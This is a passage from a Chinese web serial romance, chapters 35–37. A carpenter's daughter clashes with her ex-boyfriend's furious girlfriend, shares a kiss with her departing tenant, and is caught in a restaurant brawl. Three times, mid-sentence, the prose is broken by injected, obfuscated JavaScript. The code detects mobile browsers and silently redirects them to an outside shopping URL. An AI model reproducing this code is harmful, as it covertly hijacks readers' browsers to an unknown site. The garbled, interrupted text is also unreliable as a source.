这句话发出去以后,两人再没有任何交流,直到屈朗把打包好的麻辣拌带回来递给琼云。 琼云换了明天穿的衣服,以免酱料溅到睡裙上,师庆已经歇工上楼去了,楼底下这会儿就剩琼云和屈朗两个人。 “多少钱?” “27块。” “我转给你。” “不用。”屈朗转身往楼梯口去。 “你现在这么穷,就别装潇洒了……”琼云还是把钱转给他,输个密码的工夫,抬头一看,屈朗已经踏上楼梯了,“你去哪?” “洗澡睡觉。” “你明天又要赶日出吗?”琼云酸溜溜地说,“那是要早点睡。” “你那张嘴长来干什么用的?”屈朗止步抓住扶手,扭头瞪琼云,“只会说气人的话吗?你有话要对我说,你想我留下来,有那么难开口吗?” 琼云哑然,安静得能听到自己的心跳声,但她回忆了一番又觉得不对:“那我前天叫你吃早饭你不吃!?” 屈朗跑下楼梯,快得跟一阵风似的刮到琼云跟前:“我生气啊,我不能生气吗?你跟我什么关系?你叫我吃早饭我就吃,不让我吃就没得吃,谁做生意像你这种态度的?换别人早把你挂网上避雷了!你不是说要把你初恋追回来吗?现在还吊着我什么意思啊?” 琼云被骂得脑子嗡嗡响,后背一阵冷一阵热——对啊,他还是她的租客,她怎么会头昏到这种地步,总跟自己的租客为了私人感情起争执呢?也不怕生意没得做。 “对不起。”琼云突然向屈朗鞠躬道歉。 把屈朗整不会了。 “你去洗澡吧。”琼云做出“请”的动作,“早点休息,谢谢你帮我买晚饭,我也要回房间了。” 屈朗这下气也不是,不气也不是,脸焖得通红,身体发抖,差点把自己憋死。 “您先请。”琼云姿势端正,面带微笑,表现得像酒店里的迎宾小姐。 屈朗转身走了,没迈出去两步,精神恍惚到左脚绊右脚绊了个踉跄。 琼云在他背后提醒道:“走路小心,有问题您找我,随时都可以,发微信也行。” 屈朗回头瞪了她一眼,终于驯服四肢,大步迈上楼梯。 琼云在一楼搭配初恋送的青梅酒干掉现任暧昧对象买的麻辣拌,把包装盒扔进垃圾桶,擦干净嘴角的酱料,才上楼去。 刷了个牙,意外一夜好眠,做了个飘浮在云端的轻盈美梦。 芒果汁的化验结果出来显示当中的确含有抗凝血类毒鼠药,刘子麟他老子给琼云她老子打了通电话告知了这个事实,却并没有直接向琼云表达歉意。 师庆抽时间去医院看望了一次刘子麟,捎带上刘子麟落下的摆着超级无敌宇宙爆炸酷炫poss的赛罗奥特曼,回来以后,他告诉琼云,刘子麟的父母为刘子麟中毒事件,质问了刘子麟好兄弟的父母,然后刘子麟的这位好兄弟也吃了一肚子的老鼠药。 不同甘,但共苦,着实是一段感天动地的兄弟情义,但这些事情已经和琼云没关系了。 有关系的是,何成瑞打电话给琼云,说他家里一把用了很多年的摇椅坏了,问她能不能修。 琼云要看到实物才知道,但把摇椅运过来太麻烦,所以她直接上门去看,带着一包工具。 何成瑞的妈妈已经退休了,但还没到能拿退休工资的年龄,现在待在家里一个月拿两千块帮亲戚带小孩。 琼云换了拖鞋进门后,看到客厅里到处放着小孩的玩具。 小孩已经会走路了,也可以说简单的词汇和简短的语句,何母抓着小孩的手跟琼云打招呼,让小孩叫姐姐。 “姐姐”的发音对这小孩来说似乎有点难度,奶声奶气地发成了“叠叠”。 琼云应了一声,冲小孩笑了笑。 “蓝莓、坚果,还有糖果,你随便吃。”何母指着茶几上的果盘说。 琼云礼貌性点了点头。 “上次成瑞送去的青梅酒好喝吗?” 琼云这次诚恳地点了点头:“好喝,味道还是和以前一样。” “好喝就好。”何母笑了笑,才指着沙发边上靠近阳台的坏摇椅切入正题:“就是那把躺椅,我现在坐上去都怕它散架,人摔下来,你看一下,能不能修,修不好就做个过。” 琼云走过去把摇椅从角落里拉出来,面朝敞亮的阳台,蹲下去检查。 “我去切点水果。”何母把小孩放到护栏围着的爬行垫上,进厨房去切水果,几分钟后,端着一大碗西瓜和哈密瓜块出来,蹲到琼云身旁,用金属叉插一块哈密瓜直接往琼云嘴里塞。 琼云的嘴唇已经碰到了,但还是接过叉子,自己把哈密瓜塞进嘴里。 何母面带笑意,直勾勾地盯着琼云的脸夸赞道:“越来越漂亮了,琼云。” 琼云不知道这话该怎么接,只是抿了一下嘴唇,把刚才卸下来的螺丝重新拧回去。 何母又说:“你当初要是跟成瑞一起去念大学,说不定现在都订婚了,等你们两个一毕业,阿姨就可以等着抱孙子了。” 现在跟她说这些干什么呢?琼云咬牙扯了一下嘴角。 何母把水果放到地上,突然倾身靠近琼云,像在别人背后说坏话似的压低嗓音:“你现在跟成瑞还经不经常联系?” 琼云摇头,把话题岔开:“榫头断了,木头也老了,还是买把新的划算。” 何母从算被拉回正道上来:“你给阿姨做个新的吧。” “重新买一把不是更快吗?网上买,顶多两三天就到了。” “你爸这么多年的手艺,阿姨放心。”何母拍拍快散架的摇椅,“就照这个样式再做一个新的。” 琼云迟疑了一会儿,才点点头,说:“好吧,可能要半个月,因为手头还有别的活,我尽快。” “留下来吃饭?” “不了。”琼云摇了摇头,从工具包里掏出卷尺开始给摇椅量尺寸。 “那让成瑞请你,你们两个一起去外面吃。” 何成瑞打电话来时确实提过要请琼云吃饭,而当天下午三四点钟,他就决定兑现了,他又给琼云打了通电话,说他今晚不用加班,问琼云有没有时间,他下班后开车过来接她。 琼云帮了他一个忙,所以他要请琼云吃饭,前因后果充满正当性,琼云没有理由拒绝。 何成瑞带琼云去吃傣族菜,这家餐厅开了有十多年了,两人高中谈恋爱的时候经常来这家餐厅约会,关于琼云爱吃什么,何成瑞记得很清楚,所以不必琼云开口,他也知道该点哪些菜。 两人一边吃,一边闲聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432881|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,聊往事,聊这家餐厅是否换了厨师和菜的配方,琼云可以明显感觉到,明明是同样的菜,味道却相较从前有了很大的变化,包括菜品的摆放、放置菜品的盘子。 “人也变得不一样了。”琼云说。 “上菜的服务员吗?”何成瑞笑道,“他们都不是正式工,干个一年两年,或者几个月就辞职了。” “我是说我们,现在的样子相较高中。”琼云纠正。 “高中的时候做题做得灰头土脸的,当然不一样,你高中放假出门的时候还会化妆,现在都不化了。” “我那时候是女为悦己者容。”分手了,放下了,琼云说起这种话来反而坦荡。 何成瑞单手抱住后脖颈,意味不明地点了点头。 这时他的手机突然响起了来电铃,手机正面朝上,就放在餐桌上,琼云瞄了眼屏幕上的备注。 “我出去接个电话。”何成瑞打个招呼,关掉来电铃,拿起手机往外走。 琼云望着他的背影,心中陡然生出一丝不好的预感,于是抬手叫了服务员,让先别收拾掉桌上的菜,起身追过去。 何成瑞等出了餐厅大门,才接下电话。 琼云没有跟得很紧,来往飞驰的车辆也制造了许多干扰听觉的杂音,所以她听不清电话那头具体说了什么,但能隐约能听出一个女人撕心裂肺的语气。 “我妈不是去接你了吗?”何成瑞越过店面的墙角,一只手撑在墙上。 电话那头仍撕心裂肺地叫喊着。 “就普通朋友,人帮了个忙,我请人吃顿饭。” 何成瑞突然嘶了一声,撑在墙上的手收回来捏住额角,“你来干嘛?我等下吃完饭就回去了,我回去再跟你说……我为什么不敢发誓?我又没做对不起你的事……是又怎么样?分手了就不能做朋友不能有任何来往吗?谁规定的?挂了,回去再吵!” 何成瑞挂断电话,点了一只烟,背身靠住墙,余光发现了琼云,于是猛然转头看去,身体弹离墙面。 “你女朋友?”琼云先开口,朝他走近。 何成瑞默认。 琼云接着说道:“你知道我今天去你家,你妈跟我说了什么吗?” “什么?” “你妈希望我跟你结婚,她明知道你女朋友今天过来找你,还故意跟我这种话,你妈对你女朋友这个态度,你不可能不知道吧?怎么还会同意让你妈去接你女朋友,然后你抛下你女朋友过来请我吃饭?” 何成瑞一会儿抬头一会低头,右腿膝关节忽屈忽直,显得很不安:“我跟我女朋友……闹了点小矛盾,然后……我妈说她去接机……” 琼云瞪他:“你的家事别牵连到我,搞得好像是我勾引你破坏你们情侣关系一样!” “对不起。” “跟你女朋友道歉去。” 何成瑞靠回去,后背后脑都服帖墙面:“我妈不喜欢她,我以后不可能跟她结婚的。” “那就趁早分手啊,你还拖着她干嘛,骑驴找马?搞得大家都不高兴。” “你希望我跟她分手吗?”何成瑞后脑弹离墙体,看向琼云。 琼云冷笑道:“你今天这个态度让我知道我当初选择跟你分手百分之百正确,你妈要是也不喜欢我,你对待我和对待你这个女朋友的态度不会有什么两样!” 何成瑞沉默了一会儿,吸了口烟吐出来,身体离开墙面,说:“我载你回去吧。” “我没吃饱回去干什么?来都来了。”琼云说完,转身回了餐厅。 36.第 36 章 “我送你到家门口。”车停下,车内的灯光亮起来时,何成瑞扭头对琼云说。 “不用了,你回去吧,路上小心。”琼云解开安全带,打开车门从车上下去。 何成瑞几乎和琼云同步关上车门,他绕过车头走到琼云跟前,低头看了眼腕表,找到了合适的理由:“挺晚了,我就送你到家门口,不进去。” 琼云懒得理他,自顾自往前走,何成瑞不远不近地跟在她身后,两人穿过被商铺灯光夹道污染的大路,拐进昏暗曲折的小巷,一路无言。 折进琼云家所在的那条巷子时,两人远远便瞧见一个披散着长发的女孩站在琼云家门口昏黄的门头灯下。 琼云几乎在一瞬间就知道了这女孩是谁,又是出于什么目的而来,但何成瑞的反应比她更快,没等她做出选择,就已经挡到了她的身前。 琼云只能隐约看到和听到那女孩朝两人疾扑过来时,被愤怒和怨气掀动得猎猎作响的衣服和头发。 紧接琼云听到了同何成瑞那通电话里几乎一模一样的撕心裂肺的叫喊声。 “啪!” 何成瑞被重重甩了一耳光,女孩精致的妆容也哭花了,浑浊的泪珠不断从瞪得上下见白布满血丝的眼睛里淌出来,在抹得煞白的脸上结成黑色的污垢。 她打完自己男友,便朝琼云猛扑过来,一边挥舞着双臂作势要扇琼云的耳光,一边嘴里喷吐着极尽肮脏的词汇,但何成瑞把她箍住了,于是她再一次撕心裂肺地尖叫起来,双手不停朝何成瑞的脸上、身上胡乱扇打抓挠。 琼云绕过他们,朝自己家门口的方向后退了几步,离他们远些,避免被误伤,然后说道:“你们有什么事回家去解决,这里住的大部分都是老人,日出而作日入就息,别打扰他们休息。” 女孩突然转过头来,鬼似的一张脸冷不丁把琼云吓一跳,她继续骂道:“骚货!被甩了多少年了,这么骚,逼都被人□□了!没人要,来勾引我男朋友,不要脸的东西!” 琼云纠正她:“是我甩的你男朋友,是我不要他,你以为谁都像你一样稀罕。” “琼云!” 琼云突然听到有人喊她,扭头去看,发现家里的大门敞开了,师庆站在门口,大概是被尖锐的骂喊声吸引出来的。 “他们两个整哪样?”师庆朝三人走过来,这下才看清,除琼云外,剩下两个,一个是何成瑞,一个是刚才敲门问这家是不是姓师而且做木工的姑娘。 琼云考虑到何成瑞这个女朋友不是本地人,特意用普通话向师庆解释:“谈恋爱谈得脑子被激素腐蚀掉了。” “你骂谁?!”女孩再次奋力朝琼云扑过来,何成瑞被带得挪了两步差点没抱稳,“你不要脸勾引我男朋友还好意思骂我?!你个贱货!我要弄死你!” 何成瑞不想在琼云父亲面前毁掉自己的形象,一边劝一边解释:“我说了家里椅子坏了让我前女友帮忙看看能不能修,我感谢她请她吃顿饭而已,你闹够没有!?” “你吼我!你为了她你吼我!?我大老远坐飞机过来找你,你不来接我,你去跟你前女友两个人去约会!你就这么对我!”女孩歇斯底里喊了一通,突然冷静下来,注视着自己男友,过了会儿又扭头看向琼云,那眼神瞪得琼云心里发毛。 “你们两个只是去吃饭?只是去吃饭哈哈哈哈哈……”女孩疯癫地笑起来,“我这么傻,会信你们两个只是去吃饭,你们两个去开房了是不是?你跟我男朋友睡了是不是?被我男朋友操得爽不爽?啊?!臭婊子!” 何成瑞为女友刚才暴风雨前的冷静所欺骗,松懈了力气,这次被她挣脱了,她猛地朝琼云扑过去。 琼云后退了两步,师庆屈肘一个锁喉拦住女孩的去路,朝何成瑞骂道:“把你女朋友管好!没得呢事在这点鬼吼八叫,别个听到咋个瞧我家姑娘?” 何成瑞又来抱自己女友:“你不要在这里胡说八道,我没有跟她开房,我们回去说。” “我不回去!我不信!我要弄死这个臭婊子。” “你不信你翻我手机!” “谁知道你们谁付的钱!” 琼云被这话逗笑了,插嘴道:“你还想着别人给你男朋友做小三还倒贴,你真把你男朋友当个宝,我自己有男朋友好不好,比你男朋友好一万倍,我勾引你男朋友干嘛?我又不是收破烂的。” 女孩好像真被激素腐蚀了大脑,听不懂人话:“你有对象还来勾引我男朋友,你个臭不要脸的!你男朋友在哪?!我要告诉你男朋友,让他打死你这个臭婊子!” 说男朋友,男朋友到,琼云远远瞧见屈朗左右两边各挎着一个包,慢悠悠从另一条巷子逛过来。 “屈朗!”琼云大声喊他。 “干嘛?”屈朗不明所以。 “快过来!”琼云用力朝他勾手,手肘也跟着不断曲直。 屈朗还是慢悠悠地走,架了一整天的相机,累得很,跑不动。 琼云指着屈朗对何成瑞女友炫耀:“他就是我男朋友,比你男朋友年轻,比你男朋友帅。” 屈朗听得满头黑线,走到吵吵嚷嚷的几人跟前。 “他是你男朋友?”何成瑞近距离看清屈朗的相貌,想起自己之前好像见过他。 屈朗摇头:“不是啊,我就是租了她家的房子。” 一点都不给她面子——琼云绝望地闭上了眼睛。 何成瑞女友冷笑:“哦,别人看不上你,就来勾引我男朋友。” “说什么呢?!嘴巴放干净点!”屈朗怒瞪着她。 琼云顺势抱住屈朗的臂弯,微笑着说:“我跟我男朋友闹了点小矛盾,所以他刚才不承认啦。” “你要为你说的话负责任!”屈朗对琼云也照瞪不误。 琼云心虚地低下头去。 屈朗甩开她的手,继续往前走,到了昏黄的门头灯下,发现门柱上趴着个老太太。 屈朗突然反应过来,猛地折回去,指着何成瑞女友,吃惊地问琼云:“她是你初恋的现任女朋友!?” 琼云不知道他为啥突然这么激动,眼珠子转了转,谨慎回答:“对啊。” “你早就知道!?” “昂。” 屈朗顿时气得咬牙切齿面红耳赤,累了一天的身体也有劲了,哼哧哼哧地跑走。 琼云呆滞了片刻,也反应过来,立即追过去,跨进家里门槛时,甚至没发现那么大一个奶奶趴在门柱上。 “屈朗!屈朗!”琼云一路追一路喊,一直追到屈朗的房门口,被嘭的一声拦截在门外,险些撞个鼻青脸肿。 这景象好熟悉,她第一次惹他生气的时候也是这样。 “不至于吧,我以为你知道的。”琼云不知道该怎么办,只能笑,勉强地笑,她拍了拍门,又拧了拧门把。 门打开了。 屈朗满脸泪痕,T恤刚从头顶摘下来卡在两条胳膊上,看样子正打算去洗澡。 琼云第一次见到他裸露着的热腾腾的身子,但这场景所营造出的氛围并不暧昧,可令人想入非非欲念横流。 因为他平时藏在衣服里面的皮肤和裸露在外面的皮肤,被紫外线分割成两个色号了,即便光着身子也像穿着一件短袖在身上,看起来好好笑。 “你怎么不锁门啊?”琼云作为无礼推门而入的人反而责怪起屈朗这个受害者来,说完还走进去,把门关上了,脸上仍挂着刚才勉强的笑容,显得十分不怀好意。 脱到一半的衣服像手铐般束缚着他的双臂,屈朗不自觉朝后退了两步,等反应过来,迅速把衣服穿回去,伸手去抹脸上的眼泪。 “你一直骗我,一直欺负我。”他一边抹眼泪一边抱怨,结果眼泪越抹越多。 琼云皱眉:“我哪里一直欺负你了?” “你还不承认!”屈朗吼她,“你明明早就知道你初恋已经有女朋友了,你还故意气我说要把你初恋追回来!” 琼云邪魅一笑:“有女朋友又怎么样?有女朋友我可以插足啊。” 屈朗瞬间止住哭声,瞪大眼睛看着琼云:“真的啊?” “我有那么贱吗?我家又不是收破烂的。” “你现在承认了,你就是故意气我!”屈朗吼完,气呼呼地瞪着琼云,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435945|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你追过来干嘛?要跟我道歉吗?” 琼云也不知道自己为什么要追过来,她想了想,问:“你明天是不是要走了?” “对啊,舍不得我就直说。”屈朗噘着嘴,骄傲地仰起头看向墙角。 “你明天大概几点下班?”琼云的目光逐渐黯淡下来,“我在你拍照的地方附近请你吃顿饭吧,给你饯行。” 屈朗大惊失色,屁股往床沿一坐,嘴巴一瘪,又吧嗒吧嗒掉起眼泪来。 琼云抽了几张纸巾,坐到他身旁,给他擦眼泪,他把脸撇到一边,不给她擦。 琼云只好由他,由他的眼泪从无声,逐渐变成抽泣,再到弓起腰背,捂住脸,把双手濡湿。 “你为什么要这么对我?”带着哭腔的嗓音从他双手缝隙间挤出来。 琼云感到无可奈何,又开始笑:“喂,你太夸张了吧?我们就认识了一个月而已,搞得好像谈了好几年一样。” 屈朗猛然抬起头来,说:“你折磨我的时候,我感觉度日如年。” 琼云的脸尴尬嫌弃到皱皱巴巴,像咸菜一样。 说骚话是失恋的必备流程吗? “我不明白,”屈朗像可云一样摇着头说,“你又不是不喜欢我,为什么要这么对我……” 琼云把手里的纸巾攥成团,掏出手机看了眼日期,又放回去,“现在已经是七月中旬了,马上要步入月底了,也就是说顶多还剩一个半月,你就要去上大学了,那么你马上就要出轨了,所以我觉得没必要。” “嗯?”听到“马上出轨”四个字,屈朗匪夷所思地皱起眉头,皱得眼睛都挤成两条缝了,“你有病啊?” “你有药啊?” “好老的梗。” “你年轻。” “你是不是被出轨过,有心理阴影啊?” “我初恋跟我谈的时候没出轨过。” “那你为什么这么担心我出轨?” “建立在下三路的感情本来就很脆弱,你知道什么叫工地夫妻吗?” “哦,听说过。” “所以你去上大学,我不在你身边,你肯定会因为寂寞出轨的。” “你凭什么这么肯定,我看起来人品很差吗?” “那你又凭什么肯定自己不会出轨呢?” “我没有肯定啊,但目前没有过。” “可能是因为你以前没发育,需求不高,不代表以后也一样。” “所以你只是因为担心我出轨啊?” “……” “那我们先谈,等我去上大学再分手。” “滚。” 屈朗的眼泪被聊没了,他岔着腿,上身前倾把手肘搁在膝盖上,双手交叉,陷入沉思,然后在某一个瞬间突然转头看向琼云,严肃地问道:“你能不能亲我一下?” 这么突然? 琼云紧张地抿了抿嘴唇,双手不由自主攥成拳,在纠结中,滚烫的掌心很快发了汗,最后她鼓起勇气,松开拳头,在大腿上擦了擦,捧住屈朗的脸,亲上去,他的嘴唇被泪水流经过,是咸的,皮肤隐隐发烫,身上交杂洗衣粉的香气和淡淡的汗味。 亲了一会儿,琼云就松开了,手还捧花似的捧着他的脸。 屈朗眼神迷离地说:“我还以为你就亲我脸上呢。” “你不早说!”琼云轻轻扇了一下他的脸。 屈朗一个熊抱抱住她,很快,他的身体逐渐颤抖起来,他又开始哭了。 琼云轻轻拍打他的后背,像哄娃娃睡觉似的,拍着拍着,她突然发现窗户外面站着个人,身体瞬间变得像刚死了两三个小时一样僵硬,紧接着肾上腺素飙升,猛地推开屈朗,连滚带爬地跑出房间。 出来看到师庆时,假装无事发生,悠闲自然地缓缓迈着步子。 师庆作为一名父亲、一个过来人,郑重地对琼云劝说道:“我搞不懂你在整哪样名堂,我本来也不想管,但感情上呢的事情你莫瞎搞,搞不好可是要出人命呢。” 琼云回以郑重的点头,表示她知道了,然后一个呲溜窜回主屋,钻进卧室,咔哒一声把门锁上。 37.第 37 章 琼云挑了一家既漂亮,菜品口碑又不错的餐厅,餐厅分上下两层,入口处做挑空设计,站在二楼走廊上可以俯瞰一楼用作化解穿堂煞的玻璃鱼缸。 琼云觉得在这样的餐厅里吃饭,人也应该打扮得漂亮,于是她久违地穿了裙子,还化了妆,将头发披散下来。家里的化妆品早就过期了,她是花钱请人化的妆,搭配裙子的颜色,化了一个素净但又能明显看出来不是素颜的妆,她的嘴唇是珊瑚色的,介于粉色和橘色之间。 屈朗见到她时,呆滞了好长一段时间,不敢认。 “上来啊。”琼云站在二楼的走廊上他勾手,跟随肢体动作轻轻舞动的头发和裙摆逸散出香气,用眼睛就可以嗅到。 屈朗这才回过神来,应了一声,打量周遭找到楼梯的方向,四肢不协调地走过去。他在楼梯上绊了一个踉跄,险些将包里沉甸甸的相机和补光灯砸坏,他感到心惊肉跳,浑身血液沸腾起来,不单是脸红,整个人都红了。 等走到琼云跟前时,已经快要爆炸。 “你之前从没穿过裙子。” 他的表达不准确,琼云明白他是想说他从没见过她穿裙子的样子,但这依然不够准确:“睡裙不算吗?” “算,算。”屈朗点头的样子看起来好像脑子被僵尸吃掉了,他需要转移一些注意力:“坐哪里?” 位置就在走廊旁边用屏风作隔断的半包围式小型包厢,其中一张右位放着琼云的包,琼云走过去坐下,用行动告诉他。 屈朗把一方一长两个包摘下来搁到里侧用来放装饰植被的大理石台上,然后局促地坐下来。 这是散伙饭,两人四目相对,胸中本该有千言万语,却一句也没说出。 但好在尴尬的时间并没有持续很长,琼云提早半个小时过来,已经点好了菜,服务员很快就陆陆续续把菜端上来了。 吃菜时口腔的张合为舌头和牙齿热了身,让他们得以发出自然的嗓音和不尴尬的话题。 “这家餐厅我以前也没来过,是看网上别人评价挑的,”琼云提及她筛选餐厅的经过,“家常菜没有必要,选其它地区的菜式肯定不正宗,稍微加点创新但又不失地方特色是最好的。” 屈朗点了点头表示赞同,一味往嘴里塞菜。 琼云看他也不说好吃还是不好吃,于是问道:“合胃口吗?要不要再点点别的?你说让我选……我看你平时也不挑食。” 屈朗摇头:“不用,够了,很好吃。”说完吸了两下鼻子,眼睛里的泪光打起转来,胀得眼圈通红。 “很辣吗?”琼云疑惑地把脑袋凑过去,将处于桌沿危险地带的玻璃杯装柠檬水往他碗边推近,“你第一天过来,说要在我家吃饭,我问过你,你说你能吃辣的。” 屈朗听到后半句,想起两人第一天见面的情形,眼泪完全失控,连抽好几张纸巾捂到脸上,耸动肩膀哭了一会儿,才断断续续地说道:“不是,我只是,觉得,好像……在吃断头饭,吃完,我就要,死了……” “吃饭别说这么不吉利的话。”琼云用指节敲了一下桌子。 屈朗继续抽噎着说:“你还,打扮得,这么漂亮,Double,断头饭,我,上辈子,肯定,做了,对不起你,的事。” 琼云大笑:“你上辈子把我甩了,这辈子换我甩你,这就叫因果报应。” “我们这辈子不能和好吗?”屈朗用纸巾揩着眼泪说。 “这就是天意。” “天意不能改吗?” “怎么改?你是神仙,还是妖怪?你是孙悟空能改阎王的生死簿?” “我是……” 屈朗话还没说完,不远处突然发出“嘭!”的一声巨响,某间包厢的门被用力摔上,一个双臂文满文身的寸头男人从里面出来,骂着脏话从两人身边走过。 屈朗的眼泪和未吐完的音节都被吓回去了。 “你是什么?”琼云将刚才被打断的话题重新连接。 屈朗呆呆地说:“我是人。” “……”琼云还以为他会说出什么出乎意料的话,“我知道你是人,我也是人,是人就得吃饭,别哭了,再哭菜都咸过头了,等会儿别冤枉厨师盐放太多。” 屈朗破涕为笑,继续吃菜,大口大口地夹起来塞进嘴里,鼓着腮帮子咀嚼,哭出来多少盐分,用无数倍补充回去。 他一边看着琼云一边吃,看琼云的眼睛、琼云的眉毛、琼云的鼻子、琼云的嘴唇,琼云雪白细腻的皮肤和乌黑柔顺的头发,还有肉粉色的指甲和隐伏在皮肤下为这具鲜活胴体提供源源不断能量的蓝紫色血管,这是他的精神断头饭,他要用比相机更清晰的肉眼、比一切精妙绝伦的构图和补光更纯粹更梦幻的记忆来摄取。 他向琼云告白,讲述她令他心动的每一个瞬间,致以全世界最高的赞美。 琼云被他夸得吃不下饭,虽然人人都乐于接受他人的正面评价,但当赞美如山倒来,反而令她陷入尴尬的境地,以至于连筷子都拿不利索,夹起的排骨“噗”一声摔进甜品里,在周围溅了一圈,还溅到了裙子上。 琼云拿纸巾一边擦一边说:“这些话,你给你以前喜欢的女生写了多少封情书练出来的?” 屈朗努着嘴说:“我没写过情书。” “都是别人给你写对吧?”琼云擦完裙子,去擦桌子,好在甜品的液体是乳白色的,没在裙子上留下突兀的印记。 屈朗回忆了一下,说:“没有情书,好像……只收到过小纸条。” “咔哒。” 有人说笑着从包厢里出来,琼云回头看了一眼,是个拎着啤酒瓶的年轻男人,貌似和刚才那个文身寸头男是同一个包厢的。 “现在不流行写情书。”琼云接上话,又回头看了一眼,她觉得那个拎着啤酒瓶的年轻男人有些眼熟,却一时半会儿想不起来是谁,分了神,擦过桌子的脏纸巾从手中掉落,掉到了裙子上。 接二连三的失手让琼云觉得有些不妙。 “有人给你写过情书吗?”屈朗出于好奇,也看向那个拎着啤酒瓶的年轻男人,那年轻男人与他对上了视线,“我们只差三岁就差这么多?” “我去趟卫生间。”琼云把脏纸巾从裙子上捡起来放到桌子上,离开座位,与此同时她听到了一阵急促的脚步声,这脚步声挟带着风声,还有金属的碰撞声,也许是拉链,也许是衣服上或佩戴在身上的金属饰品,走到屈朗身边时,一只手突然抓住了她的肩头,用力将她扳回身。 那个拎着啤酒瓶的年轻男人的脸放大在她眼前,他的眼睛瞪得很大,嘴里呼出浓重的酒气。 “是你吧?你们两个,还想跑?” 琼云一瞬间想起来了,是一周前,在阿桐工作的酒吧里,被她踢过裆踩过脸的那个未成年的男伴! “小心!” 倾倒下来的酒液直接淋在了琼云的鞋面上,溅湿了她的小腿,她的身体被屈朗护住,又被屈朗的体重压倒,顷刻间摔坐到地上,等她反应过来时,屈朗和那年轻男人已经扭打成了一团。 没有血,屈朗的头上没有血,啤酒瓶经由□□的缓冲滚落到地面,只是摔成了两截,没有爆裂,这是不幸中的万幸,琼云回想起刚才的那个啤酒瓶应该是打到了屈朗的背上。 “保安!叫保安!”琼云一边大喊,一边用脚将地上的两截啤酒瓶往桌子底下扫进去,她不想这个有着锋利边缘的破碎啤酒瓶再被谁所利用。紧急关头顾不得体面,她像被风浪拍打上岸的鱼一样疯狂扑腾到邻桌女生的腿边,抓住她的脚踝,命令道:“快报警!那男的还有同伙!会闹出人命的!” 可她的呼救声很快引来那年轻男人的同伙从包厢里出来查看…… 屈朗被啤酒瓶砸中了背部,一开始便落了下风,要不是抱住对方的脚借助被啤酒打湿的地砖将对方一块撂倒在地,恐怕早已被打得毫无还手之力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448748|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他打架的经验终究不如一个身经百战的混混丰富,局势很快扭转,他被对方摁在地上,挨了好几下拳头。 不知不觉间,两人已经从餐桌旁扭打到了走廊边缘,混乱颠倒的视野中,屈朗偶然发现头顶就是围栏,而对方身体前倾朝他挥拳,头部比他更加靠近,于是只留一只手臂护住头脸,另一只手臂探出抓住头顶的栏杆,借力猛地一拽,同时侧翻,“嘭”的一声,对方的头部撞到了栏杆上。 趁着对方吃痛那片刻,屈朗抓住栏杆借力站起来,本想借高位优势反扑,却发现小腿抽筋了,以至于人还没站稳,对方立即又朝他扑了过来,他被死死压在护栏上,转瞬间半个身子都探了出去。 屈朗看到了楼下的玻璃鱼缸,那些鲜艳的观赏鱼甩动着罂粟花般的巨大尾鳍,在被水草映照得绿油油的水中来回游动,这让他觉得自己的身体也浸泡在了水中,重心不断上浮,身下的护栏摇摇欲坠。 他的一只脚被提起,身后的人想把他推下去。 砸中玻璃鱼缸,把清澈透明的水染成红色,让鱼群吮吸他血液中的氧气,或者被损坏的供电设备导进水中的电流一击致命。 “不要整个人靠在护栏上。” 他突然想起他来到琼云家的第一天,琼云提醒过他的话,他当时为了掩饰偷拍后的心虚,趴在二楼护栏上拍楼下院子里的绣球花,那丛绣球花是蓝色的。 “快跑!” 他听到琼云冲他大喊,他发现自己身体的重心重新稳稳落地了,手被牵住,猛力往后拽了一下,回过头,他发现地上不知道什么时候多了一个类似洗衣棒槌似的东西,那是装菜用的盘子,底座是木头,上面嵌着一层黑色的石板,石板上还黏着葱花和酱料,等他想去看那年轻男人的状况时,已经来不及,整个人被琼云拽飞出去。 那年轻男人的同伙已经一窝蜂从包厢里涌了出来,距离两人不足十米,琼云的心跳得快从喉咙里蹦出来,用五十米冲刺的速度拽着屈朗飞奔,但牵着屈朗的那只手臂格外吃力,她想他人比她高,腿比她长,步子自然也能比她迈得更大,怎么也不该弱到拖后腿的地步。 直到屈朗面容狰狞地告诉她:“我腿抽筋了,你自己跑吧。” “再痛你也给我忍着!”琼云吼他,把指甲攥进他的皮肤里。 两人吃力地跑下楼梯,来到平地,继续朝门口飞奔。 “阿鹏!拦住他们!” 琼云那一击竟然没有使那年轻男人完全丧失行动力,她再次听到了他的声音,然后她再次看到了那个双臂文满文身的寸头男人! 寸头男人嘴里叼着根烟,他高高举起了脚边的装饰花瓶,这让琼云瞬间慌了神,狂奔的双腿因迟疑而趔趄。 她看到了玻璃鱼缸中彩色的鱼群。 花瓶直直朝两人砸过来—— 